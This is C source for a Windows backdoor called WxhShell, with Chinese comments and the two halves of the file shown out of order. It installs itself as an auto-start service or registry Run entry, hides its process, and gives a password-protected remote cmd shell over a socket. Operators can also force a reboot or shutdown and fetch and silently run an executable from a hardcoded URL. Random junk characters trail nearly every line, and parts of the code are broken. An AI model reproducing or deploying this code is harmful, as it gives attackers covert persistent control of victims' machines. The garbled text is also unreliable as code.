    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *(PQaXx4  
    else { CU3[{a  
    closesocket(wsh); 5*=a*nD11  
    ExitThread(0); rrGsam\.  
    } .JNU3%s  
    break; fmDU  
    } fqaysy  
  // 关机 5>J{JW|  
  case 'd': { #GBe=tm\K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8~QEJW$  
    if(Boot(SHUTDOWN)) #P,mZ}G\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *R17 KMS  
    else { 2QUZAV\ Y  
    closesocket(wsh); eGrC0[SH  
    ExitThread(0); >gAq/'.Q  
    } KmoPFlw  
    break; Xg |_  
    } $`:/O A<.  
  // 获取shell S/j~1q_|G  
  case 's': { ='1J&w~7  
    CmdShell(wsh); :IFTiq5a;  
    closesocket(wsh); GdFTKOq  
    ExitThread(0); m^dKww  
    break; )NeI]p  
  } VmLV:"P}^  
  // 退出 A&#P=m j  
  case 'x': { %;UEyj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2.=3:q!H<%  
    CloseIt(wsh); rA9BY :N@  
    break; (\ `knsE!  
    } dQ97O{O:i  
  // 离开 KsM2?aqwf_  
  case 'q': { i 7:R4G(/#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GWZ0!V  
    closesocket(wsh); Ds|/\cI$%a  
    WSACleanup(); vpOn0([hS  
    exit(1); 4&IBNc,sn  
    break; j_PICv*6  
        } K'[H`x^  
  } Fx']kn9  
  } ^E&':6(  
k$nQY  
  // 提示信息 RsJj*REO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y0vo-)E]-]  
} g2b %.X4  
  } 0r=:l/Pz  
Y|FJ1x$r  
  return; l^x5m]Kt  
} DXj_\ R(}  
t?p[w&@M2  
// shell模块句柄 KQ<pQkhv  
int CmdShell(SOCKET sock) ,?;q$Xoi  
{ riqvv1Nce  
STARTUPINFO si; O/M\Q  
ZeroMemory(&si,sizeof(si)); wrq0fHwM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /g3U,?qP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lgTavs  
PROCESS_INFORMATION ProcessInfo; D'e'xU  
char cmdline[]="cmd"; "=I ioY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lJ!+n<K+  
  return 0; {uEu ^6a5  
} J2 _DP  
T_CYSS|fX  
// 自身启动模式 s$e0;C!D  
int StartFromService(void) @)mH"u!(7  
{ K1O0/2O  
typedef struct |,F/_    
{ )P\Vd #  
  DWORD ExitStatus; ,mH2S/<}S  
  DWORD PebBaseAddress; n|F$qV_p\  
  DWORD AffinityMask; HqXaT6#/  
  DWORD BasePriority; b]hP;QK`U$  
  ULONG UniqueProcessId; 2`,{IHu*!  
  ULONG InheritedFromUniqueProcessId; 0IoS|P}6a  
}   PROCESS_BASIC_INFORMATION; IH?.s k  
F,^Q'$ !  
PROCNTQSIP NtQueryInformationProcess; HaI  
/C29^P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Jq)!)={  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;Dg8>  
ETe,RY  
  HANDLE             hProcess; 8Z%C7 "4O  
  PROCESS_BASIC_INFORMATION pbi; RO,  
I3o6ym-i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S/pTFlptCa  
  if(NULL == hInst ) return 0; ;3NA,JA#Y  
)|f!}( p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5S:#I5Wa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a?%X9 +1A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GbG!vo  
'Syq!=,  
  if (!NtQueryInformationProcess) return 0; rgheq<B:  
weC$\st:D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <N^2|*3  
  if(!hProcess) return 0; ipfiarT~)  
\:C@L&3[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6JBE=9d-Q  
I0oM\~#  
  CloseHandle(hProcess); Ro`Hm8o/  
nb0V~W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rWI6L3,i+  
if(hProcess==NULL) return 0; L}CjC>R!  
cMxTv4|wui  
HMODULE hMod; OL&ku &J_  
char procName[255]; L2Uk/E  
unsigned long cbNeeded; TGu`r>N51  
W@jBX{k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2'W3:   
a%DnRkRr  
  CloseHandle(hProcess); D]resk  
5=/H2T!F  
if(strstr(procName,"services")) return 1; // 以服务启动 xS]=WO*  
aLTC#c%U  
  return 0; // 注册表启动 W>0 36  
} c*ac9Y'o  
mjG-A8y  
// 主模块 * 3mF.^  
int StartWxhshell(LPSTR lpCmdLine) ) 2C`;\/:  
{ MDa 4U@Q  
  SOCKET wsl; dN J2pfvv  
BOOL val=TRUE; h{I)^8,M  
  int port=0; DU#6%8~  
  struct sockaddr_in door; S !cc%  
ziCTvT  
  if(wscfg.ws_autoins) Install(); 9.f/d4  
h\afO  
port=atoi(lpCmdLine); K"-.K]O8E%  
<zH24[  
if(port<=0) port=wscfg.ws_port; fQq'_q5  
?"[b408-  
  WSADATA data; P#bZtWx'<N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dX-Xzg  
82Dw,Cn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %JmSCjt`G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z/aZD\[_  
  door.sin_family = AF_INET; !_)*L+7f_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Dsc{- <v  
  door.sin_port = htons(port); sI/Jhw)  
zl\mBSBx"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (gZKR2hO  
closesocket(wsl); }6MHIr=o  
return 1; }$r/#F/Fn  
} vL(7|K  
Gb.r!W8  
  if(listen(wsl,2) == INVALID_SOCKET) { Va>~7  
closesocket(wsl); a,IE;5kG  
return 1; uFNVV;~RFI  
} gtWJR  
  Wxhshell(wsl); X*6bsYbK-  
  WSACleanup(); GV'Y'  
<eK F  
return 0; F Cg{!h  
9mfqr$3  
} 3 4CqLPg8  
rkh+$*t@i7  
// 以NT服务方式启动 :hB/|H*=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~#+ Hhc(  
{ JSCe86a7<E  
DWORD   status = 0; #x! h BS!  
  DWORD   specificError = 0xfffffff; oA`'~~!  
S*<+vIo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ] P;Ng=a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Uc]S7F#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X-O/&WRYQ  
  serviceStatus.dwWin32ExitCode     = 0; CEjMHP$=  
  serviceStatus.dwServiceSpecificExitCode = 0; fvg jqiT  
  serviceStatus.dwCheckPoint       = 0; M q;m+{B  
  serviceStatus.dwWaitHint       = 0; H@o 3u>}  
Ha{#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qB PUB(  
  if (hServiceStatusHandle==0) return; =Is.T  
v:kTZB  
status = GetLastError(); ~p^&` FA  
  if (status!=NO_ERROR) NrPs :`  
{ cX u"-/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  oZTKG'  
    serviceStatus.dwCheckPoint       = 0; (;-< @~2  
    serviceStatus.dwWaitHint       = 0; 2.6%?E]  
    serviceStatus.dwWin32ExitCode     = status; Xi`K`Cu+  
    serviceStatus.dwServiceSpecificExitCode = specificError; [h20y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -E_lwK  
    return; ` MtI>x c  
  } ;(AVZxCM  
wd&Tf R4!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ew8f7S[  
  serviceStatus.dwCheckPoint       = 0; udYk 6  
  serviceStatus.dwWaitHint       = 0; +Zgh[a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R: 8\z0"L*  
} S?n,O+q  
jt5en;AA[  
// 处理NT服务事件,比如:启动、停止 r kOLTi[$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1,q&A RTS  
{ jA9&hbQuL  
switch(fdwControl) ak]:ir`o  
{ x-0S-1M  
case SERVICE_CONTROL_STOP: i|A0G%m]$  
  serviceStatus.dwWin32ExitCode = 0; x%HX0= (  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CPGiKE  
  serviceStatus.dwCheckPoint   = 0; P5/\*~}  
  serviceStatus.dwWaitHint     = 0; _s{on/u  
  { #1c%3KaZ I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b`M  2VZu  
  } $A"C1)d;  
  return; t/xWJW2  
case SERVICE_CONTROL_PAUSE: w+c%Y\:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]Q-*xho  
  break; CtiTXDc_  
case SERVICE_CONTROL_CONTINUE: {x$WBy9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3gN#[P  
  break; P:,@2el  
case SERVICE_CONTROL_INTERROGATE: ^p3"_;p)h  
  break; b7&5>Q/ g  
}; t@dv$W2 "  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p2Yc:9r9+A  
} _?Q0yVH;,  
{akSK  
// 标准应用程序主函数 I29aja  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S[g{ )p)  
{ hfzmv~*  
|Et8FR3[m  
// 获取操作系统版本 iK&s_}i:  
OsIsNt=GetOsVer(); "SGq$3D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); );X &J:-l+  
-L=aZPW`M  
  // 从命令行安装 >9F&x>~  
  if(strpbrk(lpCmdLine,"iI")) Install(); UbDRzum  
$2lrP]`>j.  
  // 下载执行文件 <7-Qn(m,  
if(wscfg.ws_downexe) { zF'LbQz0[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 53>y<  
  WinExec(wscfg.ws_filenam,SW_HIDE); tS|gQUF17  
} DbDi n  
\C<|yD  
if(!OsIsNt) { T\Zf`.mt  
// 如果时win9x,隐藏进程并且设置为注册表启动 |^: A,%>  
HideProc(); l\+^.ezD  
StartWxhshell(lpCmdLine); PL*Mz(&bf  
} tCZ3n  
else c;X8: Z=ja  
  if(StartFromService()) (t$jb |Oa  
  // 以服务方式启动 3-^z<*  
  StartServiceCtrlDispatcher(DispatchTable); xLID @9Hbu  
else \v|nRn,`-  
  // 普通方式启动 2/[J<c\G  
  StartWxhshell(lpCmdLine); f,S,35`qa  
<:(p nw*L  
return 0; 0^?:Zds  
} ~MuD`a7#G  
`[.b>ztqgJ  
>J4Tk1//b  
([vyY}43h  
=========================================== 9 GEMmo3  
Q)`3&b  
QYl Pr&O9  
2VB|a;Mo  
^g^R[8  
"gaurr3  
" $hND!T+;  
;/hR#>ib  
#include <stdio.h> :!',o]"4,k  
#include <string.h> R<* c   
#include <windows.h> ] yg3|C;  
#include <winsock2.h> SQ$|s%)oB  
#include <winsvc.h> t(d$v_*y51  
#include <urlmon.h> ,# i@jB  
a| w.G "W  
#pragma comment (lib, "Ws2_32.lib") j%_{tB  
#pragma comment (lib, "urlmon.lib") Tf0"9  
>"Tivc5  
#define MAX_USER   100 // 最大客户端连接数 |_fmbG  
#define BUF_SOCK   200 // sock buffer WDr C  
#define KEY_BUFF   255 // 输入 buffer l:' 0  
b-'T>1V  
#define REBOOT     0   // 重启 d'bAM{R>  
#define SHUTDOWN   1   // 关机 NoSq:e  
JI"&3H")g%  
#define DEF_PORT   5000 // 监听端口 Dm^Bk?#(  
PIo8mf/  
#define REG_LEN     16   // 注册表键长度 /RWQ+Zf-Y]  
#define SVC_LEN     80   // NT服务名长度 Z{Si`GA  
roiUVisq*  
// 从dll定义API DL*/hbG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QB3vp4pBg@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |+-D@22 y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x-hr64WFK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oSAO0h>0N  
Y! 8 I  
// wxhshell配置信息 .zm/GtOV@  
struct WSCFG { Ah_,5Z@&R  
  int ws_port;         // 监听端口 -a^%9 U  
  char ws_passstr[REG_LEN]; // 口令 Bz7rf^H`Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no lMn1e6~K  
  char ws_regname[REG_LEN]; // 注册表键名 Ne!0`^`~  
  char ws_svcname[REG_LEN]; // 服务名 V?yTJJ21X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +mgm39  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k'(d$;Jgr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w!GPPW(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c3L)!]kB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tAi ~i;?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o.o$dg(r!  
G C#s;X  
}; R&v V! d  
T_=IH~"  
// default Wxhshell configuration 2#y-3y<G  
struct WSCFG wscfg={DEF_PORT, ~_XK<}SK  
    "xuhuanlingzhe", 6g6BE^o\  
    1, eH0^d5bH  
    "Wxhshell", WP}NHz4H  
    "Wxhshell", P{2ue`w[  
            "WxhShell Service", u#Z#NP ~F0  
    "Wrsky Windows CmdShell Service", IEP^u `}  
    "Please Input Your Password: ", R?D c*,  
  1, T {![a{  
  "http://www.wrsky.com/wxhshell.exe", l5/!0]/  
  "Wxhshell.exe" S^z t>  
    }; Zr#\>h'c  
[S:{$4&  
// 消息定义模块 \F'tl{'\@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]Jum(1Bo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \Ctl(uj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5 A2u|UU  
char *msg_ws_ext="\n\rExit."; rG t/ /6  
char *msg_ws_end="\n\rQuit."; >u0B ~9_E  
char *msg_ws_boot="\n\rReboot..."; EyK F5TP0  
char *msg_ws_poff="\n\rShutdown..."; n#dvBK0M  
char *msg_ws_down="\n\rSave to ";  Qk)E:  
VZ1u/O?ub  
char *msg_ws_err="\n\rErr!"; ZR*Dl.GWY  
char *msg_ws_ok="\n\rOK!"; `iQ9 9  
+>BD^[^^  
char ExeFile[MAX_PATH]; ZDl6 F`  
int nUser = 0; wj$WE3Y  
HANDLE handles[MAX_USER]; |.~0Ulk,  
int OsIsNt; tYzpL   
H\^zp5/  
SERVICE_STATUS       serviceStatus; qHf8z;lc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q^@z]Sc[  
Js0hlWu  
// 函数声明 [IRWm N-  
int Install(void); i[N=.  
int Uninstall(void); 3qVDHDQ?ZV  
int DownloadFile(char *sURL, SOCKET wsh); ~}@cSv'(1  
int Boot(int flag); .?NraydwV  
void HideProc(void); XR@C^d  
int GetOsVer(void); hTS?+l  
int Wxhshell(SOCKET wsl); "b `R_gG9  
void TalkWithClient(void *cs); C9Xj)5k@R  
int CmdShell(SOCKET sock); 6 66f;h  
int StartFromService(void); ZGgM- O1  
int StartWxhshell(LPSTR lpCmdLine); ;UPI%DnE]  
T8US` MZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `F,*NESv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Jr.4Y>;}e3  
LR:meCOI  
// 数据结构和表定义 &Z%|H>+;T  
SERVICE_TABLE_ENTRY DispatchTable[] = tjWf`#tH>H  
{ oRZ--1oR_  
{wscfg.ws_svcname, NTServiceMain}, @";zM&  
{NULL, NULL} upefjwm  
}; Bf+7;4-  
svj0;x5  
// 自我安装 u~7 ,v  
int Install(void) ~Kll.  
{ )|Md"r_B  
  char svExeFile[MAX_PATH]; =H)"t:xE  
  HKEY key;  X0&[cyP!  
  strcpy(svExeFile,ExeFile); D%,AdR"m  
fKQq]&~ H  
// 如果是win9x系统,修改注册表设为自启动 Q3P*&6wA  
if(!OsIsNt) { >u/ T`$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :J~sz)n4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D)){"Q!b  
  RegCloseKey(key); uNXKUJ V0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R\ZyS )~l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _I A{I  
  RegCloseKey(key); e)): U  
  return 0; d7i 0'R  
    } W,-fnJk  
  } |4?O4QN  
} M.h8Kr!.  
else { w^N3Ma  
s;!Tz)  
// 如果是NT以上系统,安装为系统服务 9TZ4ffXV*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v#`7,::  
if (schSCManager!=0) n04lTME  
{ A.>L>uR  
  SC_HANDLE schService = CreateService fXfO9{E  
  ( IuN:*P  
  schSCManager, nhb: y  
  wscfg.ws_svcname, Jo Ih2PD  
  wscfg.ws_svcdisp, r?:xD(}Q  
  SERVICE_ALL_ACCESS, PZE{- TM?W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZT1IN6;8W  
  SERVICE_AUTO_START, , I^:xw_  
  SERVICE_ERROR_NORMAL, #a|.cm>6  
  svExeFile, '~;vp  
  NULL, S :%SarhBD  
  NULL, *fg|HH+i  
  NULL, BE LxaV,  
  NULL, SM1[)jZ-  
  NULL r]lPXj(`  
  ); 4!)=!sL ;  
  if (schService!=0) gkRbb   
  { = k7}[!T  
  CloseServiceHandle(schService); TL*8h7.(  
  CloseServiceHandle(schSCManager); SU80i`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dWDM{t\}\  
  strcat(svExeFile,wscfg.ws_svcname); \Zbi`;m?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {ZR>`'^:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hsEQ6  
  RegCloseKey(key); R\^XF8n6/  
  return 0; ml\2%07  
    } ,,o5hD0V9  
  } MbJ|6g99  
  CloseServiceHandle(schSCManager); ,bnrVa(I  
} Uh=@8v  
} X J{b_h#N  
o'auCa,N  
return 1; 4 /Q4sE~<  
} ed:[^#Lj  
nQ}$jOU &  
// 自我卸载 rUOl+p_47  
int Uninstall(void)  *CS2ndp  
{ Y}UVC|Ef  
  HKEY key; M,(UCyT  
V<W$ h`  
if(!OsIsNt) { H(,D5y`k1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V3t;V-Lkt  
  RegDeleteValue(key,wscfg.ws_regname); nLcOz3h  
  RegCloseKey(key); K%iA-h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KVA~|j B  
  RegDeleteValue(key,wscfg.ws_regname); AttS?TZr  
  RegCloseKey(key); O=2SDuBZ  
  return 0; l %M0^d6M  
  } h.WvPZ2U  
} Ka|, qkb  
} C<u<:4^H  
else { ObIL  w  
w4%yCp[,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fOtzb YVC  
if (schSCManager!=0) #yi&-9B  
{ hCFgZiH2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [8$K i$;  
  if (schService!=0) 0kOl,%Ey  
  { =>en<#[\:  
  if(DeleteService(schService)!=0) { Yp(F}<f?  
  CloseServiceHandle(schService); &/-^D/ot  
  CloseServiceHandle(schSCManager); ~;uc@GGo  
  return 0; m2h@*  
  } *%;+3SV  
  CloseServiceHandle(schService); RwyRPc _  
  } l:$i}.C  
  CloseServiceHandle(schSCManager); TOC2[m c'  
} ~&\}qz3  
} /CfgxPo  
&w"1VOV<  
return 1; G}8Zkz@+  
} ~P;KO40K  
P<s 0f:".  
// 从指定url下载文件 zvAUF8'_  
int DownloadFile(char *sURL, SOCKET wsh) SG@-b(  
{ 2T >K!jS  
  HRESULT hr; ~+OAAkJ9  
char seps[]= "/"; G>f2E49BXt  
char *token; XjINRC8^4  
char *file; _Cnl|'  
char myURL[MAX_PATH]; b`yb{& ,?  
char myFILE[MAX_PATH]; f9FEH7S68  
Fh0cOp(  
strcpy(myURL,sURL); U\~9YX8  
  token=strtok(myURL,seps); 4_&+]S  
  while(token!=NULL) k?7V#QW(  
  { o{r<=X ysM  
    file=token; RW I7eC  
  token=strtok(NULL,seps); #ssSs]zl  
  } BK;Gh0mp  
{.mP e|  
GetCurrentDirectory(MAX_PATH,myFILE); i0/RvrLc  
strcat(myFILE, "\\"); Pua| Z x  
strcat(myFILE, file); x_VD9  
  send(wsh,myFILE,strlen(myFILE),0); y Nc"E  
send(wsh,"...",3,0); 14Y<-OO: k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @B#\3WNt  
  if(hr==S_OK) s. ]<r5v7  
return 0; %3;vDB*L$  
else O}w"@gO@.  
return 1; BWG*UjP M  
"J (0J  
} K}e:zR;;^  
05PRlz *x=  
// 系统电源模块 g*]/HS>e<G  
int Boot(int flag) 6)j4-  
{ {@YY8SKb9  
  HANDLE hToken; |fIIfYE  
  TOKEN_PRIVILEGES tkp; t]14bf$*Q  
IF~E;  
  if(OsIsNt) { ZlG|U]mM5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ef~Ar@4fA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6>=yX6U1q^  
    tkp.PrivilegeCount = 1; {Uj-x -  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )F,IPAA#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nkTpUbS'f?  
if(flag==REBOOT) { u(W+hdTap=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wY'w'%A?  
  return 0; ?_V&~?r   
} 1XXuFa&  
else { uw>O|&!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e !2SO*O  
  return 0; orON)S ks  
} qSA]61U&  
  } l.nd Wv  
  else { o7i>D6^^  
if(flag==REBOOT) { 'nRoa7v(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0* ^>/*  
  return 0; EJ@&vuDd$  
} J1UG},-h  
else { 50jZu'z:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )Gm,%[?2C  
  return 0; $~c wB  
}  Qo$j'|lD  
}  @ ^cR  
?DrA@;IB  
return 1; =8V 9E  
} \@!"7._=  
hH(w O\s  
// win9x进程隐藏模块 U]AJWC6  
void HideProc(void) |w].*c}Z  
{ q"9 2][}  
&,8F!)[9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J5Ovj,[EZ  
  if ( hKernel != NULL ) Y!qn[,q8  
  { r7^oqEp@B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $H8B%rT]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <{P`A%g@  
    FreeLibrary(hKernel); f1w_Cl  
  } AEd]nVV Q  
?RQ_LA;  
return; |5TzRz  
} NpLZ ,|H  
G nPrwDB  
// 获取操作系统版本 m"/ o4  
int GetOsVer(void) L.?QZN%cN  
{ ;V0^uB.z  
  OSVERSIONINFO winfo; W"n0x8~sV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K 7 OIT2-  
  GetVersionEx(&winfo); F87/p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) urhOvC$a  
  return 1; A@<a')#>)  
  else W+Q^u7K  
  return 0; SxI-pH'  
} kt2W7.A 5  
zI,z<-  
// 客户端句柄模块  <BiSx  
int Wxhshell(SOCKET wsl) V| &->9"  
{ Ji)Ys ebV  
  SOCKET wsh; c> 0R_  
  struct sockaddr_in client; 3 63KU@`  
  DWORD myID; e|}B;<  
B",;z)(%  
  while(nUser<MAX_USER) z_8lf_N  
{ .+(R,SvN%<  
  int nSize=sizeof(client); %k'>bmJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <&RpGAk%I  
  if(wsh==INVALID_SOCKET) return 1; p?2^JJpUb  
Ji4JP0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 92x)Pc^D  
if(handles[nUser]==0) SA?lDRF  
  closesocket(wsh); PH$C."Vv  
else U'aJCM  
  nUser++; = glF6a  
  } V}X>~ '%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *3\*GatJ  
=Hbf()cN)  
  return 0; *7o@HBbF  
} w ZfY~  
q ;"/i*+3  
// 关闭 socket _9C,N2a{C  
void CloseIt(SOCKET wsh) bae;2| w  
{ s}F.D^^G  
closesocket(wsh); 1ixBwnp?  
nUser--; }qT{" *SC  
ExitThread(0); [vqf hpz  
} ;ObrBN,Fu  
F0kdwN4;  
// 客户端请求句柄 k+BY3a  
void TalkWithClient(void *cs) ]P/i}R:  
{ #>M^BOR8  
K7X*N  
  SOCKET wsh=(SOCKET)cs; )FN\jo!!.  
  char pwd[SVC_LEN]; z HT#bP:o  
  char cmd[KEY_BUFF]; B$M4f7  
char chr[1]; 6UI6E)g  
int i,j; A0,h 7<i  
a<J< Oc!  
  while (nUser < MAX_USER) { ]nNn"_qh  
21O@yNpS$  
if(wscfg.ws_passstr) { V :/v r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I?RUVs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I? ="Er[g}  
  //ZeroMemory(pwd,KEY_BUFF); iG#9 2e4  
      i=0; ,FwpHs $A  
  while(i<SVC_LEN) { fV2w &:^3  
Eh^gR`I  
  // 设置超时 0t[ 1#!=k  
  fd_set FdRead; pg Q^w0BQV  
  struct timeval TimeOut; ^5Zka!'X2Z  
  FD_ZERO(&FdRead); . '>d7  
  FD_SET(wsh,&FdRead); zs6rd83#  
  TimeOut.tv_sec=8; PeIKx$$Kl{  
  TimeOut.tv_usec=0; IrUoAQ2xpG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V?)YQ B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eX1_=?$1P  
+|Izjx]ZV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `A9fanh  
  pwd=chr[0]; *{,}pK2*  
  if(chr[0]==0xd || chr[0]==0xa) { X .sOZb?$  
  pwd=0; g&{CEfw&  
  break; SAiaC _  
  } Vqcw2  
  i++; * mH&Gn1  
    } ,Wtgj=1!.  
pedyWA>  
  // 如果是非法用户,关闭 socket +IMt$}7[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fR?'HsQg  
} %}JSR y  
O0;mXH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +@c$n`>)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u{7->[=  
-oTdi0P  
while(1) { p2U6B  
"[-W(=  
  ZeroMemory(cmd,KEY_BUFF); n0G@BE1Y=  
4V;-*:  
      // 自动支持客户端 telnet标准   U{qwhz(  
  j=0; ~k%XW$cV  
  while(j<KEY_BUFF) { ayh235>a(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vw3=jIQN:!  
  cmd[j]=chr[0]; .K1wp G[4  
  if(chr[0]==0xa || chr[0]==0xd) { FY-eoq0O3  
  cmd[j]=0; yY{  
  break; YeVo=hYH@  
  } EEMRy  
  j++; E62_k 0q  
    } Ls+vWfF=#  
ej7L-~lxQ  
  // 下载文件 zKI1  
